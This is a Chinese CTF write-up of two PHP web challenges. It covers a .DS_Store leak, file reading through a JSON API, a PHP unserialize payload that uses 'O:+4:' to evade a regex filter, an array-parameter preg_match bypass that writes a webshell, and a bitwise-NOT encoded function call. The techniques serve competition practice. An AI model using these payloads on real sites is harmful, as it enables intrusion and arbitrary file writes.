好久没打过ctf了,这次打完了才意识到这次比赛的很多题其实都是一些原题或者原题变种或者拼凑起来,但奈何太久没做过ctf了,跟不上了,太菜了qaq
web6
首先扫一下目录,存在ds_store信息泄露和一些路径
![](https://img2018.cnblogs.com/blog/1495879/201909/1495879-20190927152945375-2081287464.png)
访问api目录,提示post参数filename 并提供一个array,使用postman测试了一下知道提供的参数类型需要为json. 这里师傅说fuzz出来key为file,value就是文件名,就可以读文件了.
通过Ds_store获取一下文件列表
![](https://img2018.cnblogs.com/blog/1495879/201909/1495879-20190927153019667-1208405977.png)
这里api/index.php源码找不到了,大概意思是不能直接读fffffaa_not.php文件,它会检测文件名中是否存在f字符
(刚开始还以为这里可以绕过,想歪了,其实不行)
那么读hack.php和index.php
![](https://img2018.cnblogs.com/blog/1495879/201909/1495879-20190927153122152-33379983.png)
index.php:
<?php require_once('hack.php'); echo "Api!wow"; function do_unserialize($value){ preg_match('/[oc]:d+:/i', $value, $matches); if (count($matches)) {return false;} return unserialize($value); } $x = new hack(); if(isset($_GET['flag'])) $g = $_GET['flag']; if (!empty($g)) { $x = do_unserialize($g); } echo $x->readfile(); ?>
hack.php:
<?php class hack { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) { return @file_get_contents($this->file); } } } //fffffaa_not.php ?>
查看源码可知这是一个反序列化,构造poc
![](https://img2018.cnblogs.com/blog/1495879/201909/1495879-20190927153626832-930166181.png)
但这里有一个问题 要过正则表达式 preg_match('/[oc]:d+:/i', $value, $matches)
需要把payload变成 O:+4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}
将payload url编码一下就能读到fffffaa_not.php
fffffaa_not.php:
<?php $text = $_GET['jhh08881111jn']; $filename = $_GET['file_na']; if(preg_match('[<>?]', $text)) { die('error!'); } if(is_numeric($filename)){ $path=$filename.".php"; }else{ die('error'); } file_put_contents($path, $text); ?>
因为preg_match只能接受第二个参数为字符串
提交 jhh08881111jn[] = shell 暴力绕过preg_match
![](https://img2018.cnblogs.com/blog/1495879/201909/1495879-20190927154625215-441502974.png)
这里一开始本地测试的时候windows defender把我写的shell飞快删掉了,我还以为没写成功...
Web4
一看到这道题就知道是用了p师傅无字母无数字webshell文章的思路,立刻去翻了一下
看到这段,给code传值发现题目php版本是7.0.33,满足要求
这样的话 通过同样的方式(’GetYourFlag’)()动态调用GetYourFlag函数就好了
直接对GetYourFlag取反编码就好了
$a = "GetYourFlag"; $b = ~$a; echo urlencode($b);